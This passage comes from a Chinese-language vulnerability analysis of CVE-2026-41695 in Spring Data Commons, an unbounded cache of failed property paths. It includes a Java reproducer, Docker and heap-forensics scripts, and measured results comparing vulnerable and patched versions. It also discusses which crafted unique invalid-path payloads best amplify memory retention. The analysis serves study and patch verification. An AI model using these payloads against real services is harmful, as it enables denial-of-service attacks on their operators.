} catch (NoSuchMethodException ignored) {
}
return false;
}把输出序列化、PID 获取和参数解析补齐以后,这个文件就已经可以独立运行:
private static String toJson(Map<String, Object> report) {
StringBuilder json = new StringBuilder();
json.append("{\n");
int index = 0;
for (Map.Entry<String, Object> entry : report.entrySet()) {
json.append(" \"").append(entry.getKey()).append("\": ");
Object value = entry.getValue();
if (value instanceof Number || value instanceof Boolean) {
json.append(value);
} else {
json.append('"').append(escape(String.valueOf(value))).append('"');
}
if (index < report.size() - 1) {
json.append(',');
}
json.append('\n');
index++;
}
json.append("}");
return json.toString();
}
private static String escape(String value) {
return value.replace("\\", "\\\\").replace("\"", "\\\"");
}
private static long getCurrentPid() {
return ManagementFactory.getRuntimeMXBean().getPid();
}
record Arguments(String label, String prefix, int iterations, Path output, long sleepMillis) {
static Arguments parse(String[] args) {
String label = DEFAULT_LABEL;
String prefix = DEFAULT_PREFIX;
int iterations = DEFAULT_ITERATIONS;
Path output = null;
long sleepMillis = DEFAULT_SLEEP_MILLIS;
for (String arg : args) {
if (arg.startsWith("--label=")) {
label = arg.substring("--label=".length());
} else if (arg.startsWith("--prefix=")) {
prefix = arg.substring("--prefix=".length());
} else if (arg.startsWith("--iterations=")) {
iterations = Integer.parseInt(arg.substring("--iterations=".length()));
} else if (arg.startsWith("--output=")) {
output = Path.of(arg.substring("--output=".length()));
} else if (arg.startsWith("--sleep-ms=")) {
sleepMillis = Long.parseLong(arg.substring("--sleep-ms=".length()));
}
}
return new Arguments(label, prefix, iterations, output, sleepMillis);
}
}为了让失败发生在“合法前缀之后”,测试模型本身也刻意做成三层:
static class PersonSample {
List<Person> persons;
}
static class Person {
String name;
Address address;
}
static class Address {
String city;
}
}这样输入就可以设计成下面这种样子:
persons.firstname0
persons.firstname1
persons.firstname2
...
persons.firstname4095这类路径的特点是:
- 第一段
persons合法,可以进入更深层解析 - 第二段
firstnameN非法,稳定触发失败路径分支 - 每个字符串都唯一,天然适合制造高基数缓存项
0x07 复现步骤
0x07.1 复现环境说明
为避免把宿主机 shell、Maven 和 Java 版本混进复现过程,下文终端截图统一取自临时 docker:29.6.2-cli 容器中的实际执行结果。
这个容器只做两件事:
- 把你刚才创建的工作目录真实路径挂进去。
- 通过
/var/run/docker.sock调用宿主机 Docker Engine。
这样做有两个直接好处:
- 截图里的终端本身在容器里,满足“terminal 操作在 container 中完成”的要求。
- 容器里依然可以直接执行
docker compose,去拉起真正跑 PoC 的maven:3.9.11-eclipse-temurin-21复现容器。
第一步先在容器里确认工作目录、Compose 可用性和服务定义:
pwd
ls
docker compose version
sed -n '1,30p' docker-compose.yml对应的 docker-compose.yml 本体如下:
services:
cve-2026-41695-vuln:
image: maven:3.9.11-eclipse-temurin-21
working_dir: /workspace/repro
volumes:
- .:/workspace
- maven-repo:/root/.m2
command:
- mvn
- -q
- -DskipTests
- -Dspring-data-commons.version=4.0.5
- -Dspring-framework.version=7.0.7
- -Dexec.args=--label=vulnerable --iterations=4096 --output=/workspace/artifacts/vulnerable.json
- compile
- exec:java
cve-2026-41695-fixed:
image: maven:3.9.11-eclipse-temurin-21
working_dir: /workspace/repro
volumes:
- .:/workspace
- maven-repo:/root/.m2
command:
- mvn
- -q
- -DskipTests
- -Dspring-data-commons.version=4.0.6
- -Dspring-framework.version=7.0.8
- -Dexec.args=--label=fixed --iterations=4096 --output=/workspace/artifacts/fixed.json
- compile
- exec:java
volumes:
maven-repo:这里真正影响复现结果的只有三处:
- 两个服务共用同一份源码和同一份本地 Maven 缓存
- 脆弱版固定
4.0.5 / 7.0.7 - 修复版固定
4.0.6 / 7.0.8
图 4:容器内检查复现环境,确认工作目录、docker compose 与服务参数无误。
0x07.2 脆弱版 4.0.5
确认环境无误后,直接在容器里执行脆弱版服务:
docker compose run --rm cve-2026-41695-vuln
cat artifacts/vulnerable.json重点看四个字段:
cacheImplementation是否还是ConcurrentHashMapcacheSize是否跟iterations一起长到4096containsFirstKey/containsMiddleKey/containsLastKey是否全部仍为trueexceptions是否确实等于4096,证明 4096 次输入都走到了失败解析分支
图 5:容器内运行脆弱版。cacheImplementation 仍是 ConcurrentHashMap,cacheSize 线性长到 4096。
0x07.3 修复版 4.0.6
然后在同样的容器终端里切到修复版服务:
docker compose run --rm cve-2026-41695-fixed
cat artifacts/fixed.json这一轮重点看下面几个结果:
exceptions依然等于4096,说明同样数量的无效输入仍然被送进了解析链路cacheImplementation已经变成ConcurrentLruCachecacheSize被硬性压在512- 早期 key 被淘汰,只剩最近 key 仍命中
图 6:容器内运行修复版。修复版仍会抛 InvalidPersistentPropertyPath,但缓存实现和缓存边界已经变化。
0x07.4 产物位置
上面两轮跑完以后,当前目录里会得到四个最直接的基础产物:
artifacts/vulnerable.jsonartifacts/fixed.jsonartifacts/vulnerable.logartifacts/fixed.log
如果不想手动敲两次 docker compose run,可以把下面这段脚本保存成 scripts/run-docker-repro.sh:
#!/usr/bin/env bash
set -euo pipefail
ROOT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
ARTIFACTS_DIR="$ROOT_DIR/artifacts"
mkdir -p "$ARTIFACTS_DIR"
cd "$ROOT_DIR"
docker compose run --rm cve-2026-41695-vuln | tee "$ARTIFACTS_DIR/vulnerable.log"
docker compose run --rm cve-2026-41695-fixed | tee "$ARTIFACTS_DIR/fixed.log"
printf '\nSaved artifacts:\n'
printf ' %s\n' \
"$ARTIFACTS_DIR/vulnerable.json" \
"$ARTIFACTS_DIR/fixed.json" \
"$ARTIFACTS_DIR/vulnerable.log" \
"$ARTIFACTS_DIR/fixed.log"所以 0x08 里的结果并不是手工拼出来的,而是来自同一份脚本固化后的输出;后面的 heap histogram 和 payload matrix 也是在这条基线上继续补强证据链。
0x08 实测结果
下面这组结果来自 2026-08-16 执行 ./scripts/run-docker-repro.sh 的一次样本输出:
版本 | 缓存实现 | 唯一无效路径数 | 缓存大小 | 首个 key 仍在 | 中间 key 仍在 | 最新 key 仍在 |
|
| 4096 | 4096 |
|
|
|
|
| 4096 | 512 |
|
|
|
除了这几个最核心的缓存字段,我还把三个运行时辅助字段一起保留了下来:
exceptions:确认 4096 次输入是否全部落进失败分支elapsedMillis:记录本轮运行耗时,但只作现象参考,不把它当严格 benchmarkjvmPid:方便后续jcmd附着做堆取证
下面两段 JSON 节选自 2026-08-16 的一次实际运行样本。其中 elapsedMillis 会随宿主负载、容器状态和 JIT 预热轻微波动;重跑时只要关注数量级和趋势一致即可,不需要逐毫秒对齐。
脆弱版输出:
{
"label": "vulnerable",
"springDataCommonsVersion": "4.0.5",
"iterations": 4096,
"exceptions": 4096,
"elapsedMillis": 90,
"invalidPathPrefix": "persons.firstname",
"cacheImplementation": "java.util.concurrent.ConcurrentHashMap",
"cacheSize": 4096,
"containsFirstKey": true,
"containsMiddleKey": true,
"containsLastKey": true,
"jvmPid": 1
}修复版输出:
{
"label": "fixed",
"springDataCommonsVersion": "4.0.6",
"iterations": 4096,
"exceptions": 4096,
"elapsedMillis": 95,
"invalidPathPrefix": "persons.firstname",
"cacheImplementation": "org.springframework.util.ConcurrentLruCache",
"cacheSize": 512,
"containsFirstKey": false,
"containsMiddleKey": false,
"containsLastKey": true,
"jvmPid": 1
}这个对比已经足够说明问题:
4.0.5会永久保留全部失败路径缓存项4.0.6仍然缓存,但会把缓存限制在 512 条- 修复版保留最近 key、淘汰早期 key,完全符合 LRU 行为
也就是说,补丁确实改变了攻击面最核心的可观测特征:从“线性累积”变成了“有界波动”。
0x08.1 从对象留存视角看,堆里到底留下了什么
上面的实测结果证明了“缓存项数量”的变化,但如果想把文章进一步做成一条完整证据链,还需要回答另一个问题:
缓存变大之后,JVM 堆里究竟是哪一串对象被长期引用住了?
结合源码结构,这条保留链大致可以画成:
图 10:失败路径被缓存后,TypeAndPath 与 PathResolution 如何把原始路径和前缀对象图一起留在堆里。
这条链路的实战意义在于:一次失败请求结束以后,请求栈本身已经退出,但失败解析结果并不会跟着一起死掉;只要缓存还持有 TypeAndPath -> PathResolution 的强引用,这批对象就会继续存活,并在后续 GC 中逐步从“短命对象”变成“长生命周期对象”。
因此它在堆上的表征通常不是“突然冒出一个超大对象”,而是:
String、TypeAndPath、PathResolution等对象数量持续增长。- 与前缀路径相关的对象图被一起挂住。
- 年轻代回收之后,仍有相当一部分对象因为被缓存引用而幸存。
- 随着请求继续堆积,这些对象逐步晋升到老年代。
这也是为什么它的运行时症状更像“慢性内存压制”,而不是一次性爆堆。
0x08.2 修复版为什么不是 0,而是 512
很多人第一次看修复版结果时会下意识期待:
修复以后,失败路径相关对象是不是应该完全不再留存?
答案不是。从源码和上游测试看,官方并没有取消 negative cache,而是把它压成了有界集合。
这一点可以从 4.0.6 的单元测试直接看出来。修复前后,测试方法名都还是 cachesFailingPropertyPathLookup();区别只在于:
// 4.0.5 / pre-fix
@Test // GH-2837
void cachesFailingPropertyPathLookup() {
assertThatExceptionOfType(InvalidPersistentPropertyPath.class)//
.isThrownBy(() -> factory.from(PersonSample.class, "persons.firstname"));
Map<TypeAndPath, ?> propertyPaths = (Map<TypeAndPath, ?>) ReflectionTestUtils.getField(factory, "propertyPaths");
assertThat(propertyPaths).containsKey(TypeAndPath.of(TypeInformation.of(PersonSample.class), "persons.firstname"));
}// 4.0.6 / fixed
@Test // GH-2837
void cachesFailingPropertyPathLookup() {
assertThatExceptionOfType(InvalidPersistentPropertyPath.class)//
.isThrownBy(() -> factory.from(PersonSample.class, "persons.firstname"));
ConcurrentLruCache<TypeAndPath, ?> propertyPaths =
(ConcurrentLruCache<TypeAndPath, ?>) ReflectionTestUtils.getField(factory, "propertyPaths");
assertThat(propertyPaths.contains(TypeAndPath.of(TypeInformation.of(PersonSample.class), "persons.firstname"))).isTrue();
}4.0.5断言的是Map<TypeAndPath, ?>中包含失败 key4.0.6断言的是ConcurrentLruCache<TypeAndPath, ?>.contains(...)仍然为true
也就是说,修复版保留的是:
- 相同失败路径可复用的缓存语义
- 失败结果会短期驻留在缓存里这件事
真正被改掉的是:
- 失败路径的长期 retained set 不再无界
- 老条目会被淘汰
- 缓存规模会在容量附近饱和,而不是继续线性增长
所以在 heap histogram 里看到:
4.0.5的PathResolution/TypeAndPath/DefaultPersistentPropertyPath升到40964.0.6的同类对象稳定在512
这不是“修复版还有洞”的信号,反而正是补丁设计目标的直接体现。如果修复版把这几类对象打到 0,那代表官方选择的是“完全去掉失败缓存”;而真实补丁显然没有这么做。
0x08.3 用 jcmd GC.class_histogram 做一次最小堆取证
为了把“缓存项数量变化”进一步落实到“堆里确实留下了哪些对象”,可以继续加一条更硬的取证链路:
chmod +x scripts/run-heap-histogram.sh
./scripts/run-heap-histogram.sh这个脚本会分别启动:
spring-data-commons 4.0.5spring-data-commons 4.0.6
然后在复现程序打完唯一路径、进入短暂休眠窗口后,对目标 JVM 执行:
jcmd <pid> GC.class_histogram脚本本体如下,重点是给复现程序留出一小段 sleep 窗口,然后在容器内对目标 JVM 执行 jcmd:
#!/usr/bin/env bash
set -euo pipefail
ROOT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
ARTIFACTS_DIR="$ROOT_DIR/artifacts"
SLEEP_MS="${SLEEP_MS:-45000}"
ITERATIONS="${ITERATIONS:-4096}"
mkdir -p "$ARTIFACTS_DIR"
run_histogram() {
local service="$1"
local label="$2"
local commons_version="$3"
local framework_version="$4"
local json_path="$ARTIFACTS_DIR/${label}-heap.json"
local log_path="$ARTIFACTS_DIR/${label}-heap.log"
local histogram_path="$ARTIFACTS_DIR/${label}-class-histogram.txt"
local container_name="cve-2026-41695-${label}-heap"
rm -f "$json_path" "$log_path" "$histogram_path"
docker rm -f "$container_name" >/dev/null 2>&1 || true
docker compose run -d --name "$container_name" "$service" \
bash -lc "
mvn -q -DskipTests \
-Dspring-data-commons.version=${commons_version} \
-Dspring-framework.version=${framework_version} \
-Dmdep.outputFile=/tmp/classpath.txt \
compile dependency:build-classpath &&
java \
-XX:+StartAttachListener \
-Dspring-data-commons.version=${commons_version} \
-cp \"target/classes:\$(cat /tmp/classpath.txt)\" \
org.springframework.data.mapping.context.Cve41695Reproducer \
--label=${label}-heap \
--iterations=${ITERATIONS} \
--sleep-ms=${SLEEP_MS} \
--output=/workspace/artifacts/${label}-heap.json
" >/dev/null
trap 'docker rm -f "$container_name" >/dev/null 2>&1 || true' RETURN
local pid=""
for _ in $(seq 1 30); do
pid="$(docker exec "$container_name" sh -lc "sed -n 's/.*\"jvmPid\": \\([0-9][0-9]*\\).*/\\1/p' /workspace/artifacts/${label}-heap.json 2>/dev/null | head -n1" || true)"
if [[ -n "$pid" ]] && docker exec "$container_name" sh -lc "kill -0 $pid" >/dev/null 2>&1; then
break
fi
sleep 1
done
if [[ -z "$pid" ]]; then
echo "Failed to find Java PID in $container_name" >&2
docker logs "$container_name" >&2 || true
return 1
fi
docker exec "$container_name" jcmd "$pid" GC.class_histogram >"$histogram_path"
docker logs "$container_name" >"$log_path" 2>&1 || true
docker wait "$container_name" >/dev/null
docker logs "$container_name" >"$log_path" 2>&1 || true
docker rm -f "$container_name" >/dev/null 2>&1 || true
trap - RETURN
printf 'Saved heap artifacts for %s:\n' "$label"
printf ' %s\n' "$json_path" "$log_path" "$histogram_path"
}
cd "$ROOT_DIR"
run_histogram "cve-2026-41695-vuln" "vulnerable" "4.0.5" "7.0.7"
run_histogram "cve-2026-41695-fixed" "fixed" "4.0.6" "7.0.8"对应产物会落到:
artifacts/vulnerable-heap.jsonartifacts/fixed-heap.jsonartifacts/vulnerable-class-histogram.txtartifacts/fixed-class-histogram.txt
下面这组数据来自实际执行脚本后的直方图统计:
版本 |
|
|
|
|
| 4096 | 4096 | 4096 | 24072 |
| 512 | 512 | 512 | 13328 |
可直接查看下面这组容器内终端输出:
sed -n '1,40p' artifacts/vulnerable-heap.json
grep -E 'PathResolution|TypeAndPath|DefaultPersistentPropertyPath' artifacts/vulnerable-class-histogram.txt
sed -n '1,40p' artifacts/fixed-heap.json
grep -E 'PathResolution|TypeAndPath|DefaultPersistentPropertyPath' artifacts/fixed-class-histogram.txt图 7:容器内查看 heap histogram 结果。脆弱版相关对象数量升到 4096,修复版则稳定在 512。
这组结果对应了缓存层的两个核心事实:
- 脆弱版里,失败条目相关对象数量会跟唯一路径数一起线性增长。
- 修复版里,同一组对象被严格压在
512左右,不再跟请求数一起无限扩大。
脆弱版直方图中的关键片段如下:
6: 4096 131072 org.springframework.data.mapping.context.PersistentPropertyPathFactory$PathResolution
9: 4096 98304 org.springframework.data.mapping.context.PersistentPropertyPathFactory$TypeAndPath
12: 4096 65536 org.springframework.data.mapping.context.DefaultPersistentPropertyPath修复版则变成:
19: 512 16384 org.springframework.data.mapping.context.PersistentPropertyPathFactory$PathResolution
28: 512 12288 org.springframework.data.mapping.context.PersistentPropertyPathFactory$TypeAndPath
34: 512 8192 org.springframework.data.mapping.context.DefaultPersistentPropertyPath如果把这组直方图和前面的缓存反射结果放在一起看,证据链就闭合了:
artifacts/*-heap.json证明缓存大小分别是4096和512。artifacts/*-class-histogram.txt证明失败路径相关对象实例数也同步落在4096和512两个量级。- 这说明补丁改变的不只是“Map 大小看起来小了”,而是长期留存在堆上的对象集本身被压成了有界集合。
这类证据比单纯看异常日志更有说服力,因为它回答的是:
攻击者制造的那些失败路径,到底有没有在请求结束以后继续留在 JVM 堆里?
对 4.0.5 来说,答案是“会,而且会随着唯一输入持续累积”;对 4.0.6 来说,答案则变成“会,但保留规模被硬性限制住了”。
0x08.4 Payload 设计对比:本次样本里失败越靠后,耗时略有上浮
前面一直用的是 persons.firstnameN,这个 payload 的确很适合演示漏洞;但如果想再往前走一步,就应该问一句:
是不是所有“唯一无效路径”打起来都一样?
答案是否定的。至少从本次实验样本看,三类 payload 的耗时并不完全一样。从解析逻辑上说,失败发生得越靠后,框架在进入失败分支之前走过的合法路径通常越长,单次请求更可能创建和串联更多对象。
为了把这点量化出来,可以把下面这段保存成 scripts/run-payload-matrix.sh:
chmod +x scripts/run-payload-matrix.sh
./scripts/run-payload-matrix.sh脚本会固定 4096 次迭代,分别比较三类输入:
firstnameNpersons.firstnameNpersons.address.cityN
脚本本体如下,核心是分别调用同一个 Cve41695Reproducer,只切换 --prefix= 参数,然后再把 JSON 汇总成一张表:
#!/usr/bin/env bash
set -euo pipefail
ROOT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
ARTIFACTS_DIR="$ROOT_DIR/artifacts/payload-matrix"
ITERATIONS="${ITERATIONS:-4096}"
mkdir -p "$ARTIFACTS_DIR"
run_case() {
local service="$1"
local label="$2"
local commons_version="$3"
local framework_version="$4"
local case_name="$5"
local prefix="$6"
local output_path="/workspace/artifacts/payload-matrix/${label}-${case_name}.json"
docker compose run --rm "$service" \
mvn -q -DskipTests \
"-Dspring-data-commons.version=${commons_version}" \
"-Dspring-framework.version=${framework_version}" \
"-Dexec.args=--label=${label}-${case_name} --prefix=${prefix} --iterations=${ITERATIONS} --output=${output_path}" \
compile exec:java >/dev/null
}
summarize() {
local summary_path="$ARTIFACTS_DIR/summary.md"
{
printf '| 版本 | Payload 前缀 | 解析失败深度 | exceptions | elapsedMillis | cacheSize |\n'
printf '|---|---|---:|---:|---:|---:|\n'
for label in vulnerable fixed; do
for case_name in shallow middle deep; do
local file="$ARTIFACTS_DIR/${label}-${case_name}.json"
local version prefix exceptions elapsed cache depth
version="$(sed -n 's/.*"springDataCommonsVersion": "\(.*\)".*/\1/p' "$file")"
prefix="$(sed -n 's/.*"invalidPathPrefix": "\(.*\)".*/\1/p' "$file")"
exceptions="$(sed -n 's/.*"exceptions": \([0-9][0-9]*\).*/\1/p' "$file")"
elapsed="$(sed -n 's/.*"elapsedMillis": \([0-9][0-9]*\).*/\1/p' "$file")"
cache="$(sed -n 's/.*"cacheSize": \([0-9][0-9]*\).*/\1/p' "$file")"
case "$case_name" in
shallow) depth=1 ;;
middle) depth=2 ;;
deep) depth=3 ;;
esac
printf '| `%s` | `%sN` | %s | %s | %s | %s |\n' \
"$version" "$prefix" "$depth" "$exceptions" "$elapsed" "$cache"
done
done
} >"$summary_path"
printf 'Saved payload matrix artifacts:\n'
printf ' %s\n' "$summary_path"
}
cd "$ROOT_DIR"
rm -f "$ARTIFACTS_DIR"/*.json "$ARTIFACTS_DIR"/summary.md
run_case "cve-2026-41695-vuln" "vulnerable" "4.0.5" "7.0.7" "shallow" "firstname"
run_case "cve-2026-41695-vuln" "vulnerable" "4.0.5" "7.0.7" "middle" "persons.firstname"
run_case "cve-2026-41695-vuln" "vulnerable" "4.0.5" "7.0.7" "deep" "persons.address.city"
run_case "cve-2026-41695-fixed" "fixed" "4.0.6" "7.0.8" "shallow" "firstname"
run_case "cve-2026-41695-fixed" "fixed" "4.0.6" "7.0.8" "middle" "persons.firstname"
run_case "cve-2026-41695-fixed" "fixed" "4.0.6" "7.0.8" "deep" "persons.address.city"
summarize对应汇总结果会落到:
artifacts/payload-matrix/summary.mdartifacts/payload-matrix/*.json
下面这组数据来自实际执行脚本后的结果:
版本 | Payload 前缀 | 解析失败深度 | exceptions | elapsedMillis | cacheSize |
|
| 1 | 4096 | 81 | 4096 |
|
| 2 | 4096 | 91 | 4096 |
|
| 3 | 4096 | 100 | 4096 |
|
| 1 | 4096 | 94 | 512 |
|
| 2 | 4096 | 101 | 512 |
|
| 3 | 4096 | 106 | 512 |
先看汇总结果的话,可以直接查看 summary.md:
sed -n '1,20p' artifacts/payload-matrix/summary.md图 8:容器内查看 payload matrix 汇总。同样是 4096 次无效输入,失败深度越深,elapsedMillis 越容易上浮;但修复版的 cacheSize 仍被限制在 512。
这组数据不应该被过度解读成“严格性能 benchmark”,因为容器、JIT、宿主负载都会影响绝对值;更准确地说,它提供的是一次有方向性的现象样本,而不是可外推的性能定量结论。在这个前提下,它仍然足够说明两个趋势:
- 无论是脆弱版还是修复版,失败越靠后,
elapsedMillis都会小幅上升。 - 修复版虽然把缓存压成了
512,但并没有消除“更深路径需要更多解析工作”这件事。
也就是说,payload 设计上至少有两条思路:
- 如果目标是放大长期内存占用,那么重点是“唯一值数量”和“缓存是否无界”。
- 如果目标是提高单次请求消耗,那么更深的合法前缀通常更有利,因为它会让解析器在失败前走更长的路径。
这也解释了为什么 persons.firstnameN 这类输入在实战上很顺手:
- 它比
firstnameN更稳定,因为会先命中一段真实属性图; - 它又不像特别深的路径那样依赖复杂对象模型;
- 它在“可移植性”和“单位请求成本”之间取得了一个比较好的平衡。
0x08.5 放大到 20000 个唯一失败路径后,post-GC 堆压力怎么变
前面的 4096 轮实验已经足够说明修复前后在“缓存边界”上的差异,但如果想把 retained pressure 再往前推一层,更有价值的做法是:
- 把唯一路径数继续放大
- 在采样前先显式执行一次
GC.run - 再看
GC.heap_info和 class histogram
如果你想把 retained pressure 再往前推一步,可以把下面这段保存成 scripts/run-heap-pressure-check.sh:
chmod +x scripts/run-heap-pressure-check.sh
./scripts/run-heap-pressure-check.sh这条脚本会固定:
ITERATIONS=20000persons.firstnameN作为输入前缀- 先附着目标 JVM 执行
GC.run - 再采
GC.heap_info - 最后采
GC.class_histogram
脚本正文如下:
#!/usr/bin/env bash
set -euo pipefail
ROOT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
ARTIFACTS_DIR="$ROOT_DIR/artifacts"
SLEEP_MS="${SLEEP_MS:-60000}"
ITERATIONS="${ITERATIONS:-20000}"
mkdir -p "$ARTIFACTS_DIR"
run_pressure_check() {
local service="$1"
local label="$2"
local commons_version="$3"
local framework_version="$4"
local json_path="$ARTIFACTS_DIR/${label}-histo.json"
local log_path="$ARTIFACTS_DIR/${label}-histo.log"
local gc_run_path="$ARTIFACTS_DIR/${label}-histo-gc-run.txt"
local heap_path="$ARTIFACTS_DIR/${label}-histo-heap.txt"
local classes_path="$ARTIFACTS_DIR/${label}-histo-classes.txt"
local container_name="cve-2026-41695-${label}-histo"
rm -f "$json_path" "$log_path" "$gc_run_path" "$heap_path" "$classes_path"
docker rm -f "$container_name" >/dev/null 2>&1 || true
docker compose run -d --name "$container_name" "$service" \
bash -lc "
mvn -q -DskipTests \
-Dspring-data-commons.version=${commons_version} \
-Dspring-framework.version=${framework_version} \
-Dmdep.outputFile=/tmp/classpath.txt \
compile dependency:build-classpath &&
java \
-XX:+StartAttachListener \
-Dspring-data-commons.version=${commons_version} \
-cp \"target/classes:\$(cat /tmp/classpath.txt)\" \
org.springframework.data.mapping.context.Cve41695Reproducer \
--label=${label}-histo \
--iterations=${ITERATIONS} \
--sleep-ms=${SLEEP_MS} \
--output=/workspace/artifacts/${label}-histo.json
" >/dev/null
trap 'docker rm -f "$container_name" >/dev/null 2>&1 || true' RETURN
local pid=""
for _ in $(seq 1 60); do
pid="$(docker exec "$container_name" sh -lc "sed -n 's/.*\"jvmPid\": \\([0-9][0-9]*\\).*/\\1/p' /workspace/artifacts/${label}-histo.json 2>/dev/null | head -n1" || true)"
if [[ -n "$pid" ]] && docker exec "$container_name" sh -lc "kill -0 $pid" >/dev/null 2>&1; then
break
fi
sleep 1
done
if [[ -z "$pid" ]]; then
echo "Failed to find Java PID in $container_name" >&2
docker logs "$container_name" >&2 || true
return 1
fi
docker exec "$container_name" jcmd "$pid" GC.run >"$gc_run_path"
docker exec "$container_name" jcmd "$pid" GC.heap_info >"$heap_path"
docker exec "$container_name" jcmd "$pid" GC.class_histogram >"$classes_path"
docker logs "$container_name" >"$log_path" 2>&1 || true
docker rm -f "$container_name" >/dev/null 2>&1 || true
trap - RETURN
printf 'Saved heap pressure artifacts for %s:\n' "$label"
printf ' %s\n' "$json_path" "$log_path" "$gc_run_path" "$heap_path" "$classes_path"
}
cd "$ROOT_DIR"
run_pressure_check "cve-2026-41695-vuln" "vulnerable" "4.0.5" "7.0.7"
run_pressure_check "cve-2026-41695-fixed" "fixed" "4.0.6" "7.0.8"对应产物会落到:
artifacts/vulnerable-histo.jsonartifacts/fixed-histo.jsonartifacts/vulnerable-histo-heap.txtartifacts/fixed-histo-heap.txtartifacts/vulnerable-histo-classes.txtartifacts/fixed-histo-classes.txt
下面这组数据来自实际执行脚本后的结果:
版本 | 唯一路径数 | cacheSize | post-GC heap used |
|
|
|
|
| 20000 | 20000 | 9028K | 20000 | 20000 | 20000 | 71836 |
| 20000 | 512 | 3007K | 512 | 512 | 512 | 13372 |
为了更直观看趋势,可以配合看下面这张图:
图 10a:同样打入 20000 个唯一失败路径并先执行 GC.run 后,脆弱版与修复版在 post-GC heap used、缓存项和失败路径相关对象数量上出现明显分叉。
这里最值得看的不是某个单一对象,而是“显式 GC 之后还剩下多少”:
4.0.5在GC.run之后,heap used 仍然大约是9.0 MB4.0.6在同样条件下,heap used 大约是3.0 MB- 三类核心失败路径对象在脆弱版仍然维持
20000量级,在修复版则继续被压在512 String数量也有明显分叉,说明被长期挂住的不只是三个 Spring Data 自定义对象
如果把这组结果和前面的 4096 轮实验放在一起看,可以得到一个更完整的结论:
- 修复前的问题不是“瞬时解析时会多创建一点对象”,而是“显式 GC 之后仍然保留大量失败路径相关对象”
- 修复后的变化也不只是“逻辑上有 LRU”,而是“放大输入规模以后,post-GC 堆压力仍然保持有界”
- 这组 post-GC 数据虽然还不是完整的 dominator tree,但已经比单纯的运行时耗时或异常计数更接近 retained-set 视角
这也是为什么本文一直强调:CVE-2026-41695 的本质不是“解析失败会报错”,而是“失败结果在请求结束后继续活在堆里,而且修复前这个集合没有硬边界”。
0x08.6 继续往下做到对象图:live heap dump + MAT batch 已经实际跑通
前面的 GC.class_histogram + GC.heap_info 已经足够支撑本文的主要结论,但如果你想把证据再推进到:
- dominator tree
- retained size
- shortest path to GC roots
那下一步就不该停在日志层,而是要把 live heap dump 真的导出来,再交给 MAT 做离线对象图分析。
如果你还想把证据推进到 live heap dump 和 MAT 离线分析,可以再准备下面两条脚本:
chmod +x scripts/run-live-heap-dump.sh scripts/run-mat-batch.sh
./scripts/run-live-heap-dump.sh
./scripts/run-mat-batch.sh第一条脚本 scripts/run-live-heap-dump.sh 会:
- 固定
ITERATIONS=20000 - 在目标 JVM 休眠窗口内先执行一次
GC.run - 采一份
GC.heap_info - 再用
jhsdb jmap --binaryheap --gz 1导出压缩后的 live heap dump
它的完整内容如下:
#!/usr/bin/env bash
set -euo pipefail
ROOT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
ARTIFACTS_DIR="$ROOT_DIR/artifacts/heap-dumps"
SLEEP_MS="${SLEEP_MS:-60000}"
ITERATIONS="${ITERATIONS:-20000}"
GZIP_LEVEL="${GZIP_LEVEL:-1}"
mkdir -p "$ARTIFACTS_DIR"
run_heap_dump() {
local service="$1"
local label="$2"
local commons_version="$3"
local framework_version="$4"
local json_path="$ARTIFACTS_DIR/${label}-dump.json"
local log_path="$ARTIFACTS_DIR/${label}-dump.log"
local heap_info_path="$ARTIFACTS_DIR/${label}-heap-info.txt"
local dump_path="$ARTIFACTS_DIR/${label}.hprof.gz"
local container_name="cve-2026-41695-${label}-dump"
rm -f "$json_path" "$log_path" "$heap_info_path" "$dump_path"
docker rm -f "$container_name" >/dev/null 2>&1 || true
docker compose run -d --name "$container_name" "$service" \
bash -lc "
mvn -q -DskipTests \
-Dspring-data-commons.version=${commons_version} \
-Dspring-framework.version=${framework_version} \
-Dmdep.outputFile=/tmp/classpath.txt \
compile dependency:build-classpath &&
java \
-XX:+StartAttachListener \
-Dspring-data-commons.version=${commons_version} \
-cp \"target/classes:\$(cat /tmp/classpath.txt)\" \
org.springframework.data.mapping.context.Cve41695Reproducer \
--label=${label}-dump \
--iterations=${ITERATIONS} \
--sleep-ms=${SLEEP_MS} \
--output=/workspace/artifacts/heap-dumps/${label}-dump.json
" >/dev/null
trap 'docker rm -f "$container_name" >/dev/null 2>&1 || true' RETURN
local pid=""
for _ in $(seq 1 60); do
pid="$(docker exec "$container_name" sh -lc "sed -n 's/.*\"jvmPid\": \\([0-9][0-9]*\\).*/\\1/p' /workspace/artifacts/heap-dumps/${label}-dump.json 2>/dev/null | head -n1" || true)"
if [[ -n "$pid" ]] && docker exec "$container_name" sh -lc "kill -0 $pid" >/dev/null 2>&1; then
break
fi
sleep 1
done
if [[ -z "$pid" ]]; then
echo "Failed to find Java PID in $container_name" >&2
docker logs "$container_name" >&2 || true
return 1
fi
docker exec "$container_name" jcmd "$pid" GC.run >/dev/null
docker exec "$container_name" jcmd "$pid" GC.heap_info >"$heap_info_path"
docker exec "$container_name" jhsdb jmap --pid "$pid" --binaryheap --gz "$GZIP_LEVEL" --dumpfile /workspace/artifacts/heap-dumps/${label}.hprof.gz >/dev/null
docker logs "$container_name" >"$log_path" 2>&1 || true
docker rm -f "$container_name" >/dev/null 2>&1 || true
trap - RETURN
printf 'Saved live heap dump artifacts for %s:\n' "$label"
printf ' %s\n' "$json_path" "$log_path" "$heap_info_path" "$dump_path"
}
cd "$ROOT_DIR"
run_heap_dump "cve-2026-41695-vuln" "vulnerable" "4.0.5" "7.0.7"
run_heap_dump "cve-2026-41695-fixed" "fixed" "4.0.6" "7.0.8"第二条脚本 scripts/run-mat-batch.sh 会直接调用本地 MAT:
#!/usr/bin/env bash
set -euo pipefail
ROOT_DIR="$(cd "$(dirname "$0")/.." && pwd)"
ARTIFACT_DIR="$ROOT_DIR/artifacts/heap-dumps"
WORKSPACE_DIR="$ARTIFACT_DIR/mat-workspace"
REPORT_DIR="$ARTIFACT_DIR/mat-batch"
DEFAULT_MAT_BIN="/Volumes/MemoryAnalyzer/MemoryAnalyzer.app/Contents/MacOS/MemoryAnalyzer"
MAT_BIN="${MAT_BIN:-$DEFAULT_MAT_BIN}"
if [[ ! -x "$MAT_BIN" ]]; then
echo "[-] MAT binary not found: $MAT_BIN" >&2
